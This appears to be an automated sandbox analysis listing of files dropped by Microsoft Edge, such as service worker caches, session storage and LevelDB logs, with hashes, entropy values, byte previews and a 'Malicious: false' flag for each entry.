MD5:	5AF87DFD673BA2115E2FCF5CFDB727AB
SHA1:	D5B5BBF396DC291274584EF71F444F420B6056F1
SHA-256:	F9D31B278E215EB0D0E9CD709EDFA037E828F36214AB7906F612160FEAD4B2B4
SHA-512:	DE34583A7DBAFE4DD0DC0601E8F6906B9BC6A00C56C9323561204F77ABBC0DC9007C480FFE4092FF2F194D54616CAF50AECBD4A1E9583CAE0C76AD6DD7C2375B
Malicious:	false
Preview:	.\|.."....leveldb.BytewiseComparator......

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Service Worker\ScriptCache\2cc80dabc69f58b6_0

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	data
Category:	dropped
Size (bytes):	115804
Entropy (8bit):	5.57906959902605
Encrypted:	false
SSDEEP:	1536:sU906yxPXfOxr1lhCe1nL/ImL/rBZXJCjPXNt4newXRvaflmA:B9LyxPXfOxr1lMe1nL/5L/TXJ6LwXRW
MD5:	75E3A4550058A7A55EF597A4EE8DEB5C
SHA1:	9C173FD73D9C9233E9A2773A6F0B030CD101A75D
SHA-256:	5C94886234DD9728FFA82300A1F1EFEB53665BE6F168A91109A5E1D8E43363D0
SHA-512:	4BA0327D6F80D5FC0BFDDAE748EE503DC614E2D845469D846A3CE433927B878CFAB172A0B4AEF3E57227DF8933EE755C5CFA24B017A78FA5946BB3CE2803DAB5
Malicious:	false
Preview:	0\r..m..........rSG.....0!function(e,t){if("object"==typeof exports&&"object"==typeof module)module.exports=t();else if("function"==typeof define&&define.amd)define([],t);else{var s=t();for(var n in s)("object"==typeof exports?exports:e)[n]=s[n]}}(self,(()=>(()=>{"use strict";var e={894:()=>{try{self["workbox:cacheable-response:6.4.0"]&&_()}catch(e){}},81:()=>{try{self["workbox:core:6.4.0"]&&_()}catch(e){}},485:()=>{try{self["workbox:expiration:6.4.0"]&&_()}catch(e){}},484:()=>{try{self["workbox:navigation-preload:6.4.0"]&&_()}catch(e){}},248:()=>{try{self["workbox:precaching:6.4.0"]&&_()}catch(e){}},492:()=>{try{self["workbox:routing:6.4.0"]&&_()}catch(e){}},154:()=>{try{self["workbox:strategies:6.4.0"]&&_()}catch(e){}}},t={};function s(n){var a=t[n];if(void 0!==a)return a.exports;var r=t[n]={exports:{}};return e[n](r,r.exports,s),r.exports}s.g=function(){if("object"==typeof globalThis)return globalThis;try{return this\|\|new Function("return this")()}catch(e){if("object"==typeof window

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Service Worker\ScriptCache\2cc80dabc69f58b6_1

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	data
Category:	dropped
Size (bytes):	190377
Entropy (8bit):	6.387873483759741
Encrypted:	false
SSDEEP:	3072:2nQwhx2abgiBwB4uR1W4L/ywUNa5xHKIsIahos5EEF6zH1:EBwXR1lL/fCwKzICQ
MD5:	5777B02D0C2F29229F93777BC91DE7C8
SHA1:	29D94698C60E797A80F7F2DAEDFBA52598C4A72B
SHA-256:	BACC10BC40B56F6E04BE499549FF89BCFE056F7C58FEA44A01781BB84B82A3AF
SHA-512:	F0E9FC9B990E0E42318BFD79F818BC6EBEF85CBB8FE1FBCB3462EC81194085643170A67239A8567797167C82150A005272832371B01B426E297F7883ED341F38
Malicious:	false
Preview:	0\r..m..........rSG.....0....Lp.................;o......P........,T.8..`,.....L`.....,T...`......L`......Rc.]......exports...Rc.E......module....RcF.^.....define....RbB.})....amd....D..H...........".. ...".. ...!...a..2....]".. ...!...-.....!...\|..c.....>a...8v.....................".. ...!........./..4.....).....$Sb............I`....Da......... ..f..........`...p...0...j...p..H........Q...R...{...https://ntp.msn.com/edge/ntp/service-worker.js?bundles=latest&riverAgeMinutes=2880&navAgeMinutes=2880&networkTimeoutSeconds=5&bgTaskNetworkTimeoutSeconds=8&ssrBasePageNavAgeMinutes=360&enableEmptySectionRoute=true&enableNavPreload=true&enableFallbackVerticalsFeed=true&noCacheLayoutTemplates=true&cacheSSRBasePageResponse=true&enableStaticAdsRouting=true&enableWidgetsRegion=true.a........Db............D`.....E..A.`............,T.,.`......L`.....,T...`>....DL`.....DSb.....................q...1.c................I`....Da.....d...,T.`.`z.....L`..........a............a.........Dr8..............

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Service Worker\ScriptCache\index

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	data
Category:	dropped
Size (bytes):	24
Entropy (8bit):	2.1431558784658327
Encrypted:	false
SSDEEP:	3:m+l:m
MD5:	54CB446F628B2EA4A5BCE5769910512E
SHA1:	C27CA848427FE87F5CF4D0E0E3CD57151B0D820D
SHA-256:	FBCFE23A2ECB82B7100C50811691DDE0A33AA3DA8D176BE9882A9DB485DC0F2D
SHA-512:	8F6ED2E91AED9BD415789B1DBE591E7EAB29F3F1B48FDFA5E864D7BF4AE554ACC5D82B4097A770DABC228523253623E4296C5023CF48252E1B94382C43123CB0
Malicious:	false
Preview:	0\r..m..................

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Service Worker\ScriptCache\index-dir\temp-index

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	data
Category:	dropped
Size (bytes):	72
Entropy (8bit):	3.499372319564014
Encrypted:	false
SSDEEP:	3:HEbuAyXl/ltV/lxEstll1faT:kOgsKT
MD5:	BB34A7C5D88AB6A582DF71F7069ECB70
SHA1:	DD6A5C770060F694ABD3B25096D9650D2ECF7D8D
SHA-256:	88C0761117DDAD7489949770313EFD2F6E53037D1DDA0970D478055E79C35574
SHA-512:	37A366A1A0CC9E4E6FEB12281AA0C48FACD41937B41B72C1C8796C04B22BB949F69B5B817A1FA1AE0838C0A2ACBF8F06B7B3814AF14E399DCA38591D72DC9B00
Malicious:	false
Preview:	@...2!Q`oy retne.........................X....,...................j./.

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Service Worker\ScriptCache\index-dir\the-real-index (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	data
Category:	dropped
Size (bytes):	72
Entropy (8bit):	3.499372319564014
Encrypted:	false
SSDEEP:	3:HEbuAyXl/ltV/lxEstll1faT:kOgsKT
MD5:	BB34A7C5D88AB6A582DF71F7069ECB70
SHA1:	DD6A5C770060F694ABD3B25096D9650D2ECF7D8D
SHA-256:	88C0761117DDAD7489949770313EFD2F6E53037D1DDA0970D478055E79C35574
SHA-512:	37A366A1A0CC9E4E6FEB12281AA0C48FACD41937B41B72C1C8796C04B22BB949F69B5B817A1FA1AE0838C0A2ACBF8F06B7B3814AF14E399DCA38591D72DC9B00
Malicious:	false
Preview:	@...2!Q`oy retne.........................X....,...................j./.

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Service Worker\ScriptCache\index-dir\the-real-index~RF3ea03.TMP (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	data
Category:	dropped
Size (bytes):	72
Entropy (8bit):	3.499372319564014
Encrypted:	false
SSDEEP:	3:HEbuAyXl/ltV/lxEstll1faT:kOgsKT
MD5:	BB34A7C5D88AB6A582DF71F7069ECB70
SHA1:	DD6A5C770060F694ABD3B25096D9650D2ECF7D8D
SHA-256:	88C0761117DDAD7489949770313EFD2F6E53037D1DDA0970D478055E79C35574
SHA-512:	37A366A1A0CC9E4E6FEB12281AA0C48FACD41937B41B72C1C8796C04B22BB949F69B5B817A1FA1AE0838C0A2ACBF8F06B7B3814AF14E399DCA38591D72DC9B00
Malicious:	false
Preview:	@...2!Q`oy retne.........................X....,...................j./.

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Session Storage\000003.log

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	data
Category:	dropped
Size (bytes):	5405
Entropy (8bit):	3.4143479700801733
Encrypted:	false
SSDEEP:	96:H9eYsP8Ed5Eyb9Xp+0+VijYokwvLl9iSrl1mZksXXE6NNI:YYsPtd559Xp+0KikDiLl9iSrlMZ1X
MD5:	11527BE641D3A0358064026372F0AE0B
SHA1:	F7EBD8C441C16296AAA6B9998D6BD4BEB74836CE
SHA-256:	7B4441A21F465F8DB19922154E368448F4D67A3782E717FDB8331ECA8854E4D1
SHA-512:	7AA4A1F42214463E939F1D8759BC6AD98DB83468BD7D9CEFB741595F5A3C48CA50BC7CF21A44BD52E4C9CA83A1915A4C810B7F93E7819CCF6FBECADB71EFFA6A
Malicious:	false
Preview:	*...#................version.1..namespace-..&f.................&f.................&f.................&f.................&f.................&f.................&f................h..b................next-map-id.1.Cnamespace-fa7e0e0d_cccc_41a2_a867_d19275d387e0-https://ntp.msn.com/.0.nM..................map-0-shd_sweeper.&{.".x.-.m.s.-.f.l.i.g.h.t.I.d.".:.".m.s.n.a.l.l.e.x.p.u.s.e.r.s.,.p.r.g.-.s.p.-.l.i.v.e.a.p.i.,.p.r.g.-.f.i.n.-.c.o.m.p.o.f.,.p.r.g.-.f.i.n.-.h.p.o.f.l.i.o.,.p.r.g.-.f.i.n.-.p.o.f.l.i.o.,.p.r.g.-.1.s.w.-.c.c.-.c.a.l.f.e.e.d.i.,.1.s.-.p.n.p.f.e.d.l.o.c.c.f.,.p.n.p.w.x.e.x.p.i.r.e.-.c.,.b.i.n.g._.v.2._.s.c.o.p.e.-.c.,.p.r.g.-.1.s.w.-.s.a.-.c.a.p.w.p.1.t.5.,.p.r.g.-.1.s.w.-.s.a.-.c.a.p.c.o.n.f.2.t.3.,.p.r.g.-.1.s.w.-.s.a.-.s.p.7.-.t.c.c.,.t.r.a.f.f.i.c.-.p.1.-.n.y.l.d.-.t.,.p.r.g.-.1.s.w.-.l.d.n.y.-.t.r.a.n.s.i.t.,.p.r.g.-.1.s.w.-.t.r.a.n.-.t.r.d.,.p.r.g.-.a.d.s.p.e.e.k.,.p.r.g.-.p.r.2.-.w.i.d.g.e.t.-.t.a.b.,.1.s.-.p.2.-.i.g.n.o.r.e.c.m.,.f.-.r.e.l.-.a.l.l.c.,.1.s.-.f.c.r.y.

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Session Storage\LOG

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	322
Entropy (8bit):	5.1357096735794
Encrypted:	false
SSDEEP:	6:iOrvRWv9yq2Pwkn23oH+TcwtrQMxIFUtJvRWd1ZmwPvRWzRkwOwkn23oH+Tcwtrb:7k9yvYfYebCFUtY/GR5JfYebtJ
MD5:	EDFC7755AC955DF93F15E6C8743BF40A
SHA1:	C9A0022576D6351F3BB3301EAB46113EB341A654
SHA-256:	C6B8683CC19B154897D770C1EAB58B5631739C86E47E40BB939528C337735678
SHA-512:	B7D7DEB3F4426EF157F7F2967A3C802419EDE4D3D0292AEB61AA759B72242BF5C12D72F64A8C7F59A3F01BA31CEE5FEE15F0BB9F0B0E6F272734464C514073AB
Malicious:	false
Preview:	2025/01/09-08:40:58.604 1850 Reusing MANIFEST C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Session Storage/MANIFEST-000001.2025/01/09-08:40:58.790 1850 Recovering log #3.2025/01/09-08:40:58.798 1850 Reusing old log C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Session Storage/000003.log .

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Session Storage\LOG.old (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	322
Entropy (8bit):	5.1357096735794
Encrypted:	false
SSDEEP:	6:iOrvRWv9yq2Pwkn23oH+TcwtrQMxIFUtJvRWd1ZmwPvRWzRkwOwkn23oH+Tcwtrb:7k9yvYfYebCFUtY/GR5JfYebtJ
MD5:	EDFC7755AC955DF93F15E6C8743BF40A
SHA1:	C9A0022576D6351F3BB3301EAB46113EB341A654
SHA-256:	C6B8683CC19B154897D770C1EAB58B5631739C86E47E40BB939528C337735678
SHA-512:	B7D7DEB3F4426EF157F7F2967A3C802419EDE4D3D0292AEB61AA759B72242BF5C12D72F64A8C7F59A3F01BA31CEE5FEE15F0BB9F0B0E6F272734464C514073AB
Malicious:	false
Preview:	2025/01/09-08:40:58.604 1850 Reusing MANIFEST C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Session Storage/MANIFEST-000001.2025/01/09-08:40:58.790 1850 Recovering log #3.2025/01/09-08:40:58.798 1850 Reusing old log C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Session Storage/000003.log .

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Sessions\Session_13380903660324046

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	data
Category:	dropped
Size (bytes):	1470
Entropy (8bit):	3.8303430387285884
Encrypted:	false
SSDEEP:	24:3A8Y1RXCL62X6EXiuSU4CjIpsAF4unxWtLp3X2amEtG1ChqW03MkQKkOAM48:3A8Y1hCL7yuSU4CjIzFoLp2FEkChm3u0
MD5:	16282B430A35765AAA97CDDBCDF1E0FB
SHA1:	BA71068344A1911CB06050ACA20BFB6D9EB37F6F
SHA-256:	4AF234FE219A8D7D5C4785841AA738C94FB4D6930808654C19B0E01DA86EBB64
SHA-512:	D59D00B4BEC8FDE676D401B696958ED5B2368A76472B1B1290E6F55914D26AB56953AB0487B947C94BD41B3A4EDDBAD3F2B40ED2BDF150E1CA7A7DB4BAC1090A
Malicious:	false
Preview:	SNSS......._Y)@..........._Y)@......"_Y)@..........._Y)@......._Y)@.......`Y)@.......`Y)@....!..`Y)@..............................._Y)@`Y)@1..,...`Y)@$...fa7e0e0d_cccc_41a2_a867_d19275d387e0..._Y)@.......`Y)@....H.`........_Y)@..._Y)@......................._Y)@......................._Y)@.........................._Y)@....................5..0..._Y)@&...{1A5CCF63-1000-409F-B5C1-AFEC7F75D4D9}....._Y)@.......`Y)@...........`Y)@........edge://newtab/......N.e.w. .t.a.b...........!...............................................................x...............................x.......s.. F+..t.. F+.................................. ...................................................r...h.t.t.p.s.:././.n.t.p...m.s.n...c.o.m./.e.d.g.e./.n.t.p.?.l.o.c.a.l.e.=.e.n.-.G.B.&.t.i.t.l.e.=.N.e.w.%.2.0.t.a.b.&.d.s.p.=.1.&.s.p.=.B.i.n.g.&.i.s.F.R.E.M.o.d.a.l.B.a.c.k.g.r.o.u.n.d.=.1.&.s.t.a.r.t.p.a.g.e.=.1.&.P.C.=.U.5.3.1.....................................8.......0.......8.................................

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Shortcuts

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	SQLite 3.x database, last written using SQLite version 3042000, file counter 1, database pages 5, cookie 0x2, schema 4, UTF-8, version-valid-for 1
Category:	dropped
Size (bytes):	20480
Entropy (8bit):	0.44194574462308833
Encrypted:	false
SSDEEP:	12:TLiNCcUMskMVcIWGhWxBzEXx7AAQlvsdFxOUwa5qgufTJpbZ75fOS:TLisVMnYPhIY5Qlvsd6UwccNp15fB
MD5:	B35F740AA7FFEA282E525838EABFE0A6
SHA1:	A67822C17670CCE0BA72D3E9C8DA0CE755A3421A
SHA-256:	5D599596D116802BAD422497CF68BE59EEB7A9135E3ED1C6BEACC48F73827161
SHA-512:	05C0D33516B2C1AB6928FB34957AD3E03CB0A8B7EEC0FD627DD263589655A16DEA79100B6CC29095C3660C95FD2AFB2E4DD023F0597BD586DD664769CABB67F8
Malicious:	false
Preview:	SQLite format 3......@ ..........................................................................j..........g....."....................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Site Characteristics Database\LOG

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	347
Entropy (8bit):	5.120084311721373
Encrypted:	false
SSDEEP:	6:iOrvRwq2Pwkn23oH+Tcwt7Uh2ghZIFUtJvRRZmwPvRLkwOwkn23oH+Tcwt7Uh2gd:76vYfYebIhHh2FUtR/F5JfYebIhHLJ
MD5:	FEB37060BFED6A06F72F9433D2FF2B8A
SHA1:	D87174204C186EA8D9F6E9405942D08F0DA49AB9
SHA-256:	191A92F2130A5A8980AB301B43C4218A8E06ED4706FF191C1E093DCC94751436
SHA-512:	FF805429E91E2BD481A4ACB601BD4ECED77D9A85C3D1D2E59E2F658FF159F4188D6F2660BBDEEC85F70F53D3E5502C5BC986B13F7B6A85BF2AD73A9B66CCC4FD
Malicious:	false
Preview:	2025/01/09-08:40:57.870 4a0 Reusing MANIFEST C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Site Characteristics Database/MANIFEST-000001.2025/01/09-08:40:57.870 4a0 Recovering log #3.2025/01/09-08:40:57.870 4a0 Reusing old log C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Site Characteristics Database/000003.log .

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Site Characteristics Database\LOG.old (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	347
Entropy (8bit):	5.120084311721373
Encrypted:	false
SSDEEP:	6:iOrvRwq2Pwkn23oH+Tcwt7Uh2ghZIFUtJvRRZmwPvRLkwOwkn23oH+Tcwt7Uh2gd:76vYfYebIhHh2FUtR/F5JfYebIhHLJ
MD5:	FEB37060BFED6A06F72F9433D2FF2B8A
SHA1:	D87174204C186EA8D9F6E9405942D08F0DA49AB9
SHA-256:	191A92F2130A5A8980AB301B43C4218A8E06ED4706FF191C1E093DCC94751436
SHA-512:	FF805429E91E2BD481A4ACB601BD4ECED77D9A85C3D1D2E59E2F658FF159F4188D6F2660BBDEEC85F70F53D3E5502C5BC986B13F7B6A85BF2AD73A9B66CCC4FD
Malicious:	false
Preview:	2025/01/09-08:40:57.870 4a0 Reusing MANIFEST C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Site Characteristics Database/MANIFEST-000001.2025/01/09-08:40:57.870 4a0 Recovering log #3.2025/01/09-08:40:57.870 4a0 Reusing old log C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Site Characteristics Database/000003.log .

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Storage\ext\ihmafllikibpmigkcoadcmckbfhibefp\def\Cache\Cache_Data\data_0

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	FoxPro FPT, blocks size 512, next free block index 3284796609, field type 0
Category:	dropped
Size (bytes):	8192
Entropy (8bit):	0.01057775872642915
Encrypted:	false
SSDEEP:	3:MsFl:/F
MD5:	CF89D16BB9107C631DAABF0C0EE58EFB
SHA1:	3AE5D3A7CF1F94A56E42F9A58D90A0B9616AE74B
SHA-256:	D6A5FE39CD672781B256E0E3102F7022635F1D4BB7CFCC90A80FFFE4D0F3877E
SHA-512:	8CB5B059C8105EB91E74A7D5952437AAA1ADA89763C5843E7B0F1B93D9EBE15ED40F287C652229291FAC02D712CF7FF5ECECEF276BA0D7DDC35558A3EC3F77B0
Malicious:	false
Preview:	............$...........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Storage\ext\ihmafllikibpmigkcoadcmckbfhibefp\def\Cache\Cache_Data\data_1

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	data
Category:	dropped
Size (bytes):	270336
Entropy (8bit):	8.280239615765425E-4
Encrypted:	false
SSDEEP:	3:MsEllllkEthXllkl2:/M/xT02
MD5:	D0D388F3865D0523E451D6BA0BE34CC4
SHA1:	8571C6A52AACC2747C048E3419E5657B74612995
SHA-256:	902F30C1FB0597D0734BC34B979EC5D131F8F39A4B71B338083821216EC8D61B
SHA-512:	376011D00DE659EB6082A74E862CFAC97A9BB508E0B740761505142E2D24EC1C30AA61EFBC1C0DD08FF0F34734444DE7F77DD90A6CA42B48A4C7FAD5F0BDDD17
Malicious:	false
Preview:	........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Storage\ext\ihmafllikibpmigkcoadcmckbfhibefp\def\Cache\Cache_Data\data_2

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	data
Category:	dropped
Size (bytes):	8192
Entropy (8bit):	0.011852361981932763
Encrypted:	false
SSDEEP:	3:MsHlDll:/H
MD5:	0962291D6D367570BEE5454721C17E11
SHA1:	59D10A893EF321A706A9255176761366115BEDCB
SHA-256:	EC1702806F4CC7C42A82FC2B38E89835FDE7C64BB32060E0823C9077CA92EFB7
SHA-512:	F555E961B69E09628EAF9C61F465871E6984CD4D31014F954BB747351DAD9CEA6D17C1DB4BCA2C1EB7F187CB5F3C0518748C339C8B43BBD1DBD94AEAA16F58ED
Malicious:	false
Preview:	........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Storage\ext\ihmafllikibpmigkcoadcmckbfhibefp\def\Cache\Cache_Data\data_3

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	data
Category:	dropped
Size (bytes):	8192
Entropy (8bit):	0.012340643231932763
Encrypted:	false
SSDEEP:	3:MsGl3ll:/y
MD5:	41876349CB12D6DB992F1309F22DF3F0
SHA1:	5CF26B3420FC0302CD0A71E8D029739B8765BE27
SHA-256:	E09F42C398D688DCE168570291F1F92D079987DEDA3099A34ADB9E8C0522B30C
SHA-512:	E9A4FC1F7CB6AE2901F8E02354A92C4AAA7A53C640DCF692DB42A27A5ACC2A3BFB25A0DE0EB08AB53983132016E7D43132EA4292E439BB636AAFD53FB6EF907E
Malicious:	false
Preview:	........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Storage\ext\ihmafllikibpmigkcoadcmckbfhibefp\def\Cache\Cache_Data\index

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	FoxPro FPT, blocks size 768, next free block index 3284796353, field type 0
Category:	dropped
Size (bytes):	524656
Entropy (8bit):	5.027445846313988E-4
Encrypted:	false
SSDEEP:	3:LsulgCZ/ll:LslCTl
MD5:	7E4BA4A2E822460444E526B35301E570
SHA1:	5B4CA6639F2AC8F104D7905DCA93CD8DBE18C141
SHA-256:	9D68793A5A7075243D659109BBA8884C08B17771FAD26A9F9A1DBFA58DB7F1BB
SHA-512:	9B55F7F15BBD6DA50D8A7993A57AFC3D4967BCC84FD593B0CF74E4D46EF31FD59D42F6B3FDA4E57D7A4258B1E58E3DA2AB7272B3EA4F38EE19AC61CD9F4F2967
Malicious:	false
Preview:	.........................................i./.........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Storage\ext\ihmafllikibpmigkcoadcmckbfhibefp\def\DawnCache\data_0

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	FoxPro FPT, blocks size 512, next free block index 3284796609, field type 0
Category:	dropped
Size (bytes):	8192
Entropy (8bit):	0.01057775872642915
Encrypted:	false
SSDEEP:	3:MsFl:/F
MD5:	CF89D16BB9107C631DAABF0C0EE58EFB
SHA1:	3AE5D3A7CF1F94A56E42F9A58D90A0B9616AE74B
SHA-256:	D6A5FE39CD672781B256E0E3102F7022635F1D4BB7CFCC90A80FFFE4D0F3877E
SHA-512:	8CB5B059C8105EB91E74A7D5952437AAA1ADA89763C5843E7B0F1B93D9EBE15ED40F287C652229291FAC02D712CF7FF5ECECEF276BA0D7DDC35558A3EC3F77B0
Malicious:	false
Preview:	............$...........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Storage\ext\ihmafllikibpmigkcoadcmckbfhibefp\def\DawnCache\data_1

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	data
Category:	dropped
Size (bytes):	270336
Entropy (8bit):	0.0012471779557650352
Encrypted:	false
SSDEEP:	3:MsEllllkEthXllkl2zE:/M/xT02z
MD5:	F50F89A0A91564D0B8A211F8921AA7DE
SHA1:	112403A17DD69D5B9018B8CEDE023CB3B54EAB7D
SHA-256:	B1E963D702392FB7224786E7D56D43973E9B9EFD1B89C17814D7C558FFC0CDEC
SHA-512:	BF8CDA48CF1EC4E73F0DD1D4FA5562AF1836120214EDB74957430CD3E4A2783E801FA3F4ED2AFB375257CAEED4ABE958265237D6E0AACF35A9EDE7A2E8898D58
Malicious:	false
Preview:	........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Storage\ext\ihmafllikibpmigkcoadcmckbfhibefp\def\DawnCache\data_2

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	data
Category:	dropped
Size (bytes):	8192
Entropy (8bit):	0.011852361981932763
Encrypted:	false
SSDEEP:	3:MsHlDll:/H
MD5:	0962291D6D367570BEE5454721C17E11
SHA1:	59D10A893EF321A706A9255176761366115BEDCB
SHA-256:	EC1702806F4CC7C42A82FC2B38E89835FDE7C64BB32060E0823C9077CA92EFB7
SHA-512:	F555E961B69E09628EAF9C61F465871E6984CD4D31014F954BB747351DAD9CEA6D17C1DB4BCA2C1EB7F187CB5F3C0518748C339C8B43BBD1DBD94AEAA16F58ED
Malicious:	false
Preview:	........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Storage\ext\ihmafllikibpmigkcoadcmckbfhibefp\def\DawnCache\data_3

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	data
Category:	dropped
Size (bytes):	8192
Entropy (8bit):	0.012340643231932763
Encrypted:	false
SSDEEP:	3:MsGl3ll:/y
MD5:	41876349CB12D6DB992F1309F22DF3F0
SHA1:	5CF26B3420FC0302CD0A71E8D029739B8765BE27
SHA-256:	E09F42C398D688DCE168570291F1F92D079987DEDA3099A34ADB9E8C0522B30C
SHA-512:	E9A4FC1F7CB6AE2901F8E02354A92C4AAA7A53C640DCF692DB42A27A5ACC2A3BFB25A0DE0EB08AB53983132016E7D43132EA4292E439BB636AAFD53FB6EF907E
Malicious:	false
Preview:	........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Storage\ext\ihmafllikibpmigkcoadcmckbfhibefp\def\DawnCache\index

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	FoxPro FPT, blocks size 768, next free block index 3284796353, field type 0
Category:	dropped
Size (bytes):	262512
Entropy (8bit):	9.553120663130604E-4
Encrypted:	false
SSDEEP:	3:LsNlzs+/l:Ls3zx/l
MD5:	4B1D31A4663BAE168D9CDA2870EBC96F
SHA1:	1DCCA920B8906AD20E905BB8E402917D31552348
SHA-256:	7A243B7AF7CD6CA7B01BFD817629E1D931A0D7BA9936E9B3929C0584C8B694A0
SHA-512:	BB9F7E0903316CD244806BB13FC71B83C5144F0BAD65E6F77C3CFE75DEFF6A96EC73EAC7FCBC0EC75532AFF185AB0AF3B14DD2581F941F9490C9B3AAE56A7864
Malicious:	false
Preview:	........................................m.\i./.........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Storage\ext\ihmafllikibpmigkcoadcmckbfhibefp\def\GPUCache\data_1

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	data
Category:	dropped
Size (bytes):	270336
Entropy (8bit):	0.0012471779557650352
Encrypted:	false
SSDEEP:	3:MsEllllkEthXllkl2zE:/M/xT02z
MD5:	F50F89A0A91564D0B8A211F8921AA7DE
SHA1:	112403A17DD69D5B9018B8CEDE023CB3B54EAB7D
SHA-256:	B1E963D702392FB7224786E7D56D43973E9B9EFD1B89C17814D7C558FFC0CDEC
SHA-512:	BF8CDA48CF1EC4E73F0DD1D4FA5562AF1836120214EDB74957430CD3E4A2783E801FA3F4ED2AFB375257CAEED4ABE958265237D6E0AACF35A9EDE7A2E8898D58
Malicious:	false
Preview:	........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Storage\ext\ihmafllikibpmigkcoadcmckbfhibefp\def\Local Storage\leveldb\LOG

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	432
Entropy (8bit):	5.240223047985572
Encrypted:	false
